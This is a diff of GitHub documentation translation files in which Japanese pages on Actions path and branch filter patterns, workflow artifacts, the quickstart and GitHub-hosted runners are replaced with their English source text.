                    `every/tag` | +| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`

                    `feature`

                    `ver-10-feature` | +| `v2*` | Matches branch and tag names that start with `v2`. | `v2`

                    `v2.0`

                    `v2.9` | +| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2 | `v1.10.1`

                    `v2.0.0` | -### ファイルパスにマッチするパターン +### Patterns to match file paths -パスパターンはパス全体にマッチしなければならず、リポジトリのルートを出発点とします。 +Path patterns must match the whole path, and start from the repository's root. -| パターン | マッチの説明 | マッチの例 | -| ----------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ | -| `'*'` | ワイルドカードの`*`は任意のキャラクタにマッチしますが、スラッシュ（`/`）にはマッチしません。 `*`はYAMLにおける特別なキャラクタです。 パターンを`*`で始める場合は、クオートを使わなければなりません。 | `README.md`

                    `server.rb` | -| `'*.jsx?'` | `?`はゼロ個以上の先行するキャラクタにマッチします。 | `page.js`

                    `page.jsx` | -| `'**'` | ワイルドカードの`**`は、スラッシュ（`/`）を含む任意のキャラクタにマッチします。 これは `path`フィルタを使わない場合のデフォルトの動作です。 | `all/the/files.md` | -| `'*.js'` | ワイルドカードの`*`は任意のキャラクタにマッチしますが、スラッシュ（`/`）にはマッチしません。 リポジトリのルートにあるすべての`.js`ファイルにマッチします。 | `app.js`

                    `index.js` | -| `'**.js'` | リポジトリ内のすべての`.js`ファイルにマッチします。 | `index.js`

                    `js/index.js`

                    `src/js/app.js` | -| `docs/*` | リポジトリのルートの`docs`のルートにあるすべてのファイルにマッチします。 | `docs/README.md`

                    `docs/file.txt` | -| `docs/**` | リポジトリのルートの`docs`内にあるすべてのファイルにマッチします。 | `docs/README.md`

                    `docs/mona/octocat.txt` | -| `docs/**/*.md` | `docs`ディレクトリ内にある`.md`というサフィックスを持つファイルにマッチします。 | `docs/README.md`

                    `docs/mona/hello-world.md`

                    `docs/a/markdown/file.md` | -| `'**/docs/**'` | リポジトリ内にある`docs`ディレクトリ内のすべてのファイルにマッチします、 | `docs/hello.md`

                    `dir/docs/my-file.txt`

                    `space/docs/plan/space.doc` | -| `'**/README.md'` | リポジトリ内にあるREADME.mdファイルにマッチします。 | `README.md`

                    `js/README.md` | -| `'**/*src/**'` | リポジトリ内にある`src`というサフィックスを持つフォルダ内のすべてのファイルにマッチします。 | `a/src/app.js`

                    `my-src/code/js/app.js` | -| `'**/*-post.md'` | リポジトリ内にある`-post.md`というサフィックスを持つファイルにマッチします。 | `my-post.md`

                    `path/their-post.md` | -| `'**/migrate-*.sql'` | リポジトリ内の`migrate-`というプレフィックスと`.sql`というサフィックスを持つファイルにマッチします。 | `migrate-10909.sql`

                    `db/migrate-v1.0.sql`

                    `db/sept/migrate-v1.sql` | -| `*.md`

                    `!README.md` | 感嘆符（`!`）をパターンの前に置くと、そのパターンの否定になります。 あるファイルがあるパターンにマッチし、ファイル中でその後に定義されている否定パターンにマッチした場合、そのファイルは含まれません。 | `hello.md`

                    _Does not match_

                    `README.md`

                    `docs/hello.md` | -| `*.md`

                    `!README.md`

                    `README*` | パターンは順番にチェックされます。 先行するパターンを否定するパターンで、ファイルパスが再度含まれるようになります。 | `hello.md`

                    `README.md`

                    `README.doc` | +| Pattern | Description of matches | Example matches | +|---------|------------------------|-----------------| +| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`

                    `server.rb` | +| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`

                    `page.jsx` | +| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` | +| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`

                    `index.js` +| `'**.js'` | Matches all `.js` files in the repository. | `index.js`

                    `js/index.js`

                    `src/js/app.js` | +| `docs/*` | All files within the root of the `docs` directory, at the root of the repository. | `docs/README.md`

                    `docs/file.txt` | +| `docs/**` | Any files in the `/docs` directory at the root of the repository. | `docs/README.md`

                    `docs/mona/octocat.txt` | +| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`

                    `docs/mona/hello-world.md`

                    `docs/a/markdown/file.md` +| `'**/docs/**'` | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`

                    `dir/docs/my-file.txt`

                    `space/docs/plan/space.doc` +| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`

                    `js/README.md` +| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`

                    `my-src/code/js/app.js` +| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`

                    `path/their-post.md` | +| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`

                    `db/migrate-v1.0.sql`

                    `db/sept/migrate-v1.sql` | +| `*.md`

                    `!README.md` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`

                    _Does not match_

                    `README.md`

                    `docs/hello.md` | +| `*.md`

                    `!README.md`

                    `README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`

                    `README.md`

                    `README.doc`| diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/removing-workflow-artifacts.md b/translations/ja-JP/content/actions/managing-workflow-runs/removing-workflow-artifacts.md index 0df4dfe8db..48ddd8c004 100644 --- a/translations/ja-JP/content/actions/managing-workflow-runs/removing-workflow-artifacts.md +++ b/translations/ja-JP/content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -1,6 +1,6 @@ --- -title: ワークフローの成果物を削除する -intro: '{% data variables.product.product_name %} で期限切れになる前に成果物を削除することで、使用済みの {% data variables.product.prodname_actions %} ストレージを再利用できます。' +title: Removing workflow artifacts +intro: 'You can reclaim used {% data variables.product.prodname_actions %} storage by deleting artifacts before they expire on {% data variables.product.product_name %}.' versions: fpt: '*' ghes: '*' @@ -13,11 +13,11 @@ shortTitle: Remove workflow artifacts {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 成果物を削除する +## Deleting an artifact {% warning %} -**警告:** いったん削除された成果物をリストアすることはできません。 +**Warning:** Once you delete an artifact, it can not be restored. {% endwarning %} @@ -29,20 +29,19 @@ shortTitle: Remove workflow artifacts {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} -1. **Artifacts（成果物）**の下で、 -削除したい成果物の隣の{% octicon "trash" aria-label="The trash icon" %}をクリックしてください。 +1. Under **Artifacts**, click {% octicon "trash" aria-label="The trash icon" %} next to the artifact you want to remove. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} - ![成果物の削除のドロップダウンメニュー](/assets/images/help/repository/actions-delete-artifact-updated.png) + ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact-updated.png) {% else %} - ![成果物の削除のドロップダウンメニュー](/assets/images/help/repository/actions-delete-artifact.png) + ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact.png) {% endif %} -## 成果物の保持期間を設定する +## Setting the retention period for an artifact -成果物とログの保持期間は、リポジトリ、Organization、および Enterprise レベルで設定できます。 詳しい情報については、「[使用制限、支払い、および管理](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)」を参照してください。 +Retention periods for artifacts and logs can be configured at the repository, organization, and enterprise level. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)." -ワークフローの `actions/upload-artifact` アクションを使用して、個々の成果物にカスタムの保持期間を定義することもできます。 詳しい情報については、「[ワークフローデータを成果物として保存する](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)」を参照してください。 +You can also define a custom retention period for individual artifacts using the `actions/upload-artifact` action in a workflow. For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)." -## 成果物の有効期限を探す +## Finding the expiration date of an artifact -API を使用して、成果物の削除がスケジュールされている日付を確認できます。 詳しい情報については、「[リポジトリの成果物の一覧表示](/rest/reference/actions#artifacts)」によって返される `expires_at` 値を参照してください。 +You can use the API to confirm the date that an artifact is scheduled to be deleted. For more information, see the `expires_at` value returned by "[List artifacts for a repository](/rest/reference/actions#artifacts)." diff --git a/translations/ja-JP/content/actions/publishing-packages/about-packaging-with-github-actions.md b/translations/ja-JP/content/actions/publishing-packages/about-packaging-with-github-actions.md index 230ee8e9a0..0711fed3bc 100644 --- a/translations/ja-JP/content/actions/publishing-packages/about-packaging-with-github-actions.md +++ b/translations/ja-JP/content/actions/publishing-packages/about-packaging-with-github-actions.md @@ -1,6 +1,6 @@ --- -title: GitHub Actionsでのパッケージング -intro: 'パッケージを生成し、{% data variables.product.prodname_registry %}あるいはその他のパッケージホスティングプロバイダにアップロードするワークフローを{% data variables.product.prodname_actions %}でセットアップできます。' +title: About packaging with GitHub Actions +intro: 'You can set up workflows in {% data variables.product.prodname_actions %} to produce packages and upload them to {% data variables.product.prodname_registry %} or another package hosting provider.' redirect_from: - /actions/automating-your-workflow-with-github-actions/about-packaging-with-github-actions - /actions/publishing-packages-with-github-actions/about-packaging-with-github-actions @@ -22,6 +22,6 @@ shortTitle: Packaging with GitHub Actions {% data reusables.package_registry.about-packaging-and-actions %} -## 参考リンク +## Further reading -- [Node.jsパッケージの公開](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages) +- "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)" diff --git a/translations/ja-JP/content/actions/quickstart.md b/translations/ja-JP/content/actions/quickstart.md index 117da5b5af..c0e23bd7ca 100644 --- a/translations/ja-JP/content/actions/quickstart.md +++ b/translations/ja-JP/content/actions/quickstart.md @@ -1,6 +1,6 @@ --- -title: GitHub Actions のクイックスタート -intro: '{% data variables.product.prodname_actions %} の機能を 5 分またはそれ以下で試すことができます。' +title: Quickstart for GitHub Actions +intro: 'Try out the features of {% data variables.product.prodname_actions %} in 5 minutes or less.' allowTitleToDifferFromFilename: true redirect_from: - /actions/getting-started-with-github-actions/starting-with-preconfigured-workflow-templates @@ -12,24 +12,24 @@ versions: type: quick_start topics: - Fundamentals -shortTitle: クイックスタート +shortTitle: Quickstart --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## はじめに +## Introduction -{% data variables.product.prodname_actions %} ワークフローを作成して実行するには、{% data variables.product.prodname_dotcom %} リポジトリのみが必要になります。 このガイドでは、{% data variables.product.prodname_actions %} の重要な機能のいくつかを示すワークフローを追加します。 +You only need a {% data variables.product.prodname_dotcom %} repository to create and run a {% data variables.product.prodname_actions %} workflow. In this guide, you'll add a workflow that demonstrates some of the essential features of {% data variables.product.prodname_actions %}. -次の例は、{% data variables.product.prodname_actions %} ジョブを自動的にトリガーする方法、実行する場所、およびリポジトリ内のコードとやり取りする方法を示しています。 +The following example shows you how {% data variables.product.prodname_actions %} jobs can be automatically triggered, where they run, and how they can interact with the code in your repository. -## 最初のワークフローを作成する +## Creating your first workflow 1. Create a `.github/workflows` directory in your repository on {% data variables.product.prodname_dotcom %} if this directory does not already exist. -2. In the `.github/workflows` directory, create a file named `github-actions-demo.yml`. 詳細は「[新しいファイルを作成する](/github/managing-files-in-a-repository/creating-new-files)」を参照してください。 -3. 次の YAML コンテンツを `github-actions-demo.yml` ファイルにコピーします。 +2. In the `.github/workflows` directory, create a file named `github-actions-demo.yml`. For more information, see "[Creating new files](/github/managing-files-in-a-repository/creating-new-files)." +3. Copy the following YAML contents into the `github-actions-demo.yml` file: {% raw %} ```yaml{:copy} name: GitHub Actions Demo @@ -52,40 +52,42 @@ shortTitle: クイックスタート ``` {% endraw %} -3. ページの一番下までスクロールし、[**Create a new branch for this commit and start a pull request**] を選択します。 次に、[**Propose new file**] をクリックしてPull Requestを作成します。 ![ワークフローファイルのコミット](/assets/images/help/repository/actions-quickstart-commit-new-file.png) +3. Scroll to the bottom of the page and select **Create a new branch for this commit and start a pull request**. Then, to create a pull request, click **Propose new file**. + ![Commit workflow file](/assets/images/help/repository/actions-quickstart-commit-new-file.png) -リポジトリ内のワークフローファイルをブランチにコミットすると、`push` イベントがトリガーされ、ワークフローが実行されます。 +Committing the workflow file to a branch in your repository triggers the `push` event and runs your workflow. -## ワークフローの結果を表示する +## Viewing your workflow results {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} -1. 左のサイドバーで、表示させたいワークフローをクリックしてください。 +1. In the left sidebar, click the workflow you want to see. - ![左サイドバーのワークフローのリスト](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png) -1. ワークフローの実行リストから、表示させたい実行の名前をクリックしてください。 + ![Workflow list in left sidebar](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png) +1. From the list of workflow runs, click the name of the run you want to see. - ![ワークフローの実行の名前](/assets/images/help/repository/actions-quickstart-run-name.png) -1. [**Jobs**] で [**Explore-GitHub-Actions**] ジョブをクリックします。 + ![Name of workflow run](/assets/images/help/repository/actions-quickstart-run-name.png) +1. Under **Jobs** , click the **Explore-GitHub-Actions** job. - ![ジョブを探す](/assets/images/help/repository/actions-quickstart-job.png) -1. ログには、各ステップの処理方法が表示されます。 いずれかのステップを展開して、詳細を表示します。 + ![Locate job](/assets/images/help/repository/actions-quickstart-job.png) +1. The log shows you how each of the steps was processed. Expand any of the steps to view its details. - ![ワークフロー結果の例](/assets/images/help/repository/actions-quickstart-logs.png) - - たとえば、リポジトリ内のファイルのリストを確認できます。 ![アクションの詳細の例](/assets/images/help/repository/actions-quickstart-log-detail.png) - -## さらなるワークフローテンプレート + ![Example workflow results](/assets/images/help/repository/actions-quickstart-logs.png) + + For example, you can see the list of files in your repository: + ![Example action detail](/assets/images/help/repository/actions-quickstart-log-detail.png) + +## More workflow templates {% data reusables.actions.workflow-template-overview %} -## 次のステップ +## Next steps -追加したワークフロー例では、コードがブランチにプッシュされるたびに実行され、{% data variables.product.prodname_actions %} がリポジトリのコンテンツを処理できる方法が示されます。 ただし、これは {% data variables.product.prodname_actions %} で可能なことの一部にすぎません。 +The example workflow you just added runs each time code is pushed to the branch, and shows you how {% data variables.product.prodname_actions %} can work with the contents of your repository. But this is only the beginning of what you can do with {% data variables.product.prodname_actions %}: -- リポジトリには、さまざまなイベントに基づいてさまざまなジョブをトリガーする複数のワークフローを含めることができます。 -- ワークフローを使用してソフトウェアテストアプリをインストールし、{% data variables.product.prodname_dotcom %} のランナーでコードを自動的にテストすることができます。 +- Your repository can contain multiple workflows that trigger different jobs based on different events. +- You can use a workflow to install software testing apps and have them automatically test your code on {% data variables.product.prodname_dotcom %}'s runners. -{% data variables.product.prodname_actions %} は、アプリケーション開発プロセスのほぼすべての要素を自動化するのに役立ちます。 始める準備はできましたか？ {% data variables.product.prodname_actions %} で次のステップに進む際に役立つ、以下のようなリソースを参照してください。 +{% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_actions %}: -- 詳細なチュートリアルは、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」をご覧ください。 +- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" for an in-depth tutorial. diff --git a/translations/ja-JP/content/actions/using-github-hosted-runners/about-github-hosted-runners.md b/translations/ja-JP/content/actions/using-github-hosted-runners/about-github-hosted-runners.md index 1764fdcaf0..b1956d1a34 100644 --- a/translations/ja-JP/content/actions/using-github-hosted-runners/about-github-hosted-runners.md +++ b/translations/ja-JP/content/actions/using-github-hosted-runners/about-github-hosted-runners.md @@ -1,6 +1,6 @@ --- title: About GitHub-hosted runners -intro: '{% data variables.product.prodname_dotcom %}は、ワークフローを実行するためのホストされた仮想マシンを提供します。 仮想マシンには、{% data variables.product.prodname_actions %}で使用できるツール、パッケージ、および設定の環境が含まれています。' +intro: '{% data variables.product.prodname_dotcom %} offers hosted virtual machines to run workflows. The virtual machine contains an environment of tools, packages, and settings available for {% data variables.product.prodname_actions %} to use.' redirect_from: - /articles/virtual-environments-for-github-actions - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions @@ -21,23 +21,23 @@ shortTitle: GitHub-hosted runners {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## {% data variables.product.prodname_dotcom %}ホストランナーについて +## About {% data variables.product.prodname_dotcom %}-hosted runners -{% data variables.product.prodname_dotcom %}ホストランナーは{% data variables.product.prodname_actions %}ランナーアプリケーションがインストールされた、{% data variables.product.prodname_dotcom %}がホストする仮想マシンです。 {% data variables.product.prodname_dotcom %}は、Linux、Windows、macOSのランナーを提供します。 +A {% data variables.product.prodname_dotcom %}-hosted runner is a virtual machine hosted by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner application installed. {% data variables.product.prodname_dotcom %} offers runners with Linux, Windows, and macOS operating systems. -{% data variables.product.prodname_dotcom %}ホストランナーを使用すると、マシンのメンテナンスとアップグレードが自動的に行われます。 ワークフローは、仮想マシンで直接実行することも、Dockerコンテナで実行することもできます。 +When you use a {% data variables.product.prodname_dotcom %}-hosted runner, machine maintenance and upgrades are taken care of for you. You can run workflows directly on the virtual machine or in a Docker container. -ワークフローのジョブごとにランナーの種類を指定できます。 ワークフローの各ジョブは、仮想マシンの新しいインスタンスで実行されます。 ジョブ実行のステップはすべて、仮想マシンの同じインスタンスで実行されるため、そのジョブのアクションはファイルシステムを使用して情報を共有できます。 +You can specify the runner type for each job in a workflow. Each job in a workflow executes in a fresh instance of the virtual machine. All steps in the job execute in the same instance of the virtual machine, allowing the actions in that job to share information using the filesystem. {% ifversion not ghes %} {% data reusables.github-actions.runner-app-open-source %} -### {% data variables.product.prodname_dotcom %}ホストランナーのクラウドホスト +### Cloud hosts for {% data variables.product.prodname_dotcom %}-hosted runners -{% data variables.product.prodname_dotcom %}は、Microsoft AzureのStandard_DS2_v2仮想マシン上で{% data variables.product.prodname_actions %}ランナーアプリケーションがインストールされたLinux及びWindowsランナーをホストします。 {% data variables.product.prodname_dotcom %}ホストランナーアプリケーションは、Azure Pipelines Agentのフォークです。 インバウンドのICMPパケットはすべてのAzure仮想マシンでブロックされるので、pingやtracerouteコマンドは動作しないでしょう。 Standard_DS2_v2マシンのリソースに関する詳しい情報については、Microsoft Azureドキュメンテーションの「[Dv2 and DSv2シリーズ](https://docs.microsoft.com/ja-jp/azure/virtual-machines/dv2-dsv2-series#dsv2-series)」を参照してください。 +{% data variables.product.prodname_dotcom %} hosts Linux and Windows runners on Standard_DS2_v2 virtual machines in Microsoft Azure with the {% data variables.product.prodname_actions %} runner application installed. The {% data variables.product.prodname_dotcom %}-hosted runner application is a fork of the Azure Pipelines Agent. Inbound ICMP packets are blocked for all Azure virtual machines, so ping or traceroute commands might not work. For more information about the Standard_DS2_v2 machine resources, see "[Dv2 and DSv2-series](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series)" in the Microsoft Azure documentation. -{% data variables.product.prodname_dotcom %}は、{% data variables.product.prodname_dotcom %}自身macOS Cloud内でmacOSランナーをホストします。 +{% data variables.product.prodname_dotcom %} hosts macOS runners in {% data variables.product.prodname_dotcom %}'s own macOS Cloud. ### Workflow continuity for {% data variables.product.prodname_dotcom %}-hosted runners @@ -45,34 +45,36 @@ shortTitle: GitHub-hosted runners In addition, if the workflow run has been successfully queued, but has not been processed by a {% data variables.product.prodname_dotcom %}-hosted runner within 45 minutes, then the queued workflow run is discarded. -### {% data variables.product.prodname_dotcom %}ホストランナーの管理権限 +### Administrative privileges of {% data variables.product.prodname_dotcom %}-hosted runners -LinuxおよびmacOSの仮想環境は、パスワード不要の`sudo`により動作します。 現在のユーザが持っているよりも高い権限が求められるコマンドやインストールツールを実行する必要がある場合は、パスワードを入力する必要なく、`sudo`を使うことができます。 詳しい情報については、「[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)」を参照してください。 +The Linux and macOS virtual machines both run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)." -Windowsの仮想マシンは、ユーザアカウント制御（UAC）が無効化されて管理者として動作するように設定されています。 詳しい情報については、Windowsのドキュメンテーションの「[ユーザー アカウント制御のしくみ](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/how-user-account-control-works)」を参照してください。 +Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation. -## サポートされているランナーとハードウェアリソース +## Supported runners and hardware resources -Windows および Linux 仮想マシンのハードウェア仕様: -- 2コアCPU -- 7 GBのRAMメモリー -- 14 GBのSSDディスク容量 +Hardware specification for Windows and Linux virtual machines: +- 2-core CPU +- 7 GB of RAM memory +- 14 GB of SSD disk space -macOS 仮想マシンのハードウェア仕様: -- 3コアCPU -- 14 GBのRAMメモリー -- 14 GBのSSDディスク容量 +Hardware specification for macOS virtual machines: +- 3-core CPU +- 14 GB of RAM memory +- 14 GB of SSD disk space {% data reusables.github-actions.supported-github-runners %} -ワークフローログには、ジョブの実行に使用されたランナーが一覧表示されます。 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。 +Workflow logs list the runner used to run a job. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." -## サポートされているソフトウェア +## Supported software -{% data variables.product.prodname_dotcom %} ホストランナーに含まれているソフトウェアツールは毎週更新されます。 The update process takes several days, and the list of preinstalled software on the `main` branch is updated after the whole deployment ends. +The software tools included in {% data variables.product.prodname_dotcom %}-hosted runners are updated weekly. The update process takes several days, and the list of preinstalled software on the `main` branch is updated after the whole deployment ends. ### Preinstalled software -ワークフローログには、正確なランナーにプレインストールされているツールへのリンクが含まれています。 ワークフローログでこの情報を見つけるには、[`Set up job`] セクションを展開します。 そのセクションの下で、[`Virtual Environment`] セクションを展開します。 The link following `Included Software` will describe the preinstalled tools on the runner that ran the workflow. ![Installed software link](/assets/images/actions-runner-installed-software-link.png) 詳しい情報については、「[ワークフローの実行履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。 +Workflow logs include a link to the preinstalled tools on the exact runner. To find this information in the workflow log, expand the `Set up job` section. Under that section, expand the `Virtual Environment` section. The link following `Included Software` will describe the preinstalled tools on the runner that ran the workflow. +![Installed software link](/assets/images/actions-runner-installed-software-link.png) +For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." For the overall list of included tools for each runner operating system, see the links below: @@ -84,53 +86,53 @@ For the overall list of included tools for each runner operating system, see the * [macOS 11](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11-Readme.md) * [macOS 10.15](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md) -{% data variables.product.prodname_dotcom %}ホストランナーには、オペレーティングシステムのデフォルトの組み込みツールに加え、上のリファレンスのリスト内のパッケージにが含まれています。 たとえば、Ubuntu及びmacOSのランナーには、`grep`、`find`、`which`やその他のデフォルトのツールが含まれています。 +{% data variables.product.prodname_dotcom %}-hosted runners include the operating system's default built-in tools, in addition to the packages listed in the above references. For example, Ubuntu and macOS runners include `grep`, `find`, and `which`, among other default tools. ### Using preinstalled software -アクションを使用して、ランナーにインストールされているソフトウェアと対話することをお勧めします。 このアプローチにはいくつかのメリットがあります。 -- アクションでは通常、バージョンの選択、引数を渡す機能、パラメータなどの機能が提供されています -- これにより、ソフトウェアの更新に関係なく、ワークフローで使用されるツールのバージョンが同じままになります +We recommend using actions to interact with the software installed on runners. This approach has several benefits: +- Usually, actions provide more flexible functionality like versions selection, ability to pass arguments, and parameters +- It ensures the tool versions used in your workflow will remain the same regardless of software updates -リクエストしたいツールがある場合、[actions/virtual-environments](https://github.com/actions/virtual-environments) で Issue を開いてください。 このリポジトリには、ランナーに関するすべての主要なソフトウェア更新に関するお知らせも含まれています。 +If there is a tool that you'd like to request, please open an issue at [actions/virtual-environments](https://github.com/actions/virtual-environments). This repository also contains announcements about all major software updates on runners. ### Installing additional software You can install additional software on {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see "[Customizing GitHub-hosted runners](/actions/using-github-hosted-runners/customizing-github-hosted-runners)". -## IP アドレス +## IP addresses {% note %} -**ノート:** {% data variables.product.prodname_dotcom %}のOrganizationもしくはEnterpriseアカウントでIPアドレスの許可リストを使っているなら、{% data variables.product.prodname_dotcom %}ホストランナーは利用できず、代わりにセルフホストランナーを使わなければなりません。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners)」を参照してください。 +**Note:** If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you cannot use {% data variables.product.prodname_dotcom %}-hosted runners and must instead use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." {% endnote %} -To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. 詳しい情報については「[GitHubメタ情報の取得](/rest/reference/meta#get-github-meta-information)」エンドポイントのレスポンス中の`actions`キーを参照してください。 +To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint. -Windows及びUbuntuのランナーはAzureでホストされており、そのためAzureのデータセンターと同じIPアドレスの範囲を持ちます。 macOSランナーは{% data variables.product.prodname_dotcom %}独自のmacOSクラウドでホストされます。 +Windows and Ubuntu runners are hosted in Azure and subsequently have the same IP address ranges as the Azure datacenters. macOS runners are hosted in {% data variables.product.prodname_dotcom %}'s own macOS cloud. Since there are so many IP address ranges for {% data variables.product.prodname_dotcom %}-hosted runners, we do not recommend that you use these as allow-lists for your internal resources. -このAPIが返す{% data variables.product.prodname_actions %}のIPアドレスのリストは、週に1回更新されます。 +The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. -## ファイルシステム +## File systems -{% data variables.product.prodname_dotcom %}は、仮想マシン上の特定のディレクトリでアクションとシェルコマンドを実行します。 仮想マシン上のファイルパスは静的なものではありません。 `home`、`workspace`、`workflow` ディレクトリのファイルパスを構築するには、{% data variables.product.prodname_dotcom %}が提供している環境変数を使用してください。 +{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. -| ディレクトリ | 環境変数 | 説明 | -| --------------------- | ------------------- | --------------------------------------------------------------------------------------------------------------------------------- | -| `home` | `HOME` | ユーザ関連のデータが含まれます。 たとえば、このディレクトリにはログイン試行からの認証情報を含めることができます。 | -| `workspace` | `GITHUB_WORKSPACE` | アクションとシェルコマンドはこのディレクトリで実行されます。 このディレクトリの内容は、アクションによって変更することができ、後続のアクションでアクセスできます。 | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | ワークフローをトリガーしたwebhookイベントの`POST`ペイロード。 {% data variables.product.prodname_dotcom %}は、アクションを実行するたびにアクション間でファイルの内容を隔離するためにこれを書き換えます。 | +| Directory | Environment variable | Description | +|-----------|----------------------|-------------| +| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | +| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | +| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. -各ワークフローに対して{% data variables.product.prodname_dotcom %}が作成する環境変数のリストについては、「[環境変数の利用](/github/automating-your-workflow-with-github-actions/using-environment-variables)」を参照してください。 +For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)." -### Dockerコンテナのファイルシステム +### Docker container filesystem -Dockerコンテナで実行されるアクションには、 `/github`パスの下に静的なディレクトリがあります。 ただし、Dockerコンテナ内のファイルパスを構築するには、デフォルトの環境変数を使用することを強くお勧めします。 +Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. -{% data variables.product.prodname_dotcom %}は、`/github`パス接頭辞を予約し、アクションのために3つのディレクトリを作成します。 +{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. - `/github/home` - `/github/workspace` - {% data reusables.repositories.action-root-user-required %} @@ -138,8 +140,8 @@ Dockerコンテナで実行されるアクションには、 `/github`パスの {% ifversion fpt or ghec %} -## 参考リンク -- 「[{% data variables.product.prodname_actions %} の支払いを管理する](/billing/managing-billing-for-github-actions)」 +## Further reading +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" {% endif %} diff --git a/translations/ja-JP/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md b/translations/ja-JP/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md index 6d44b5fbce..5026c04d1a 100644 --- 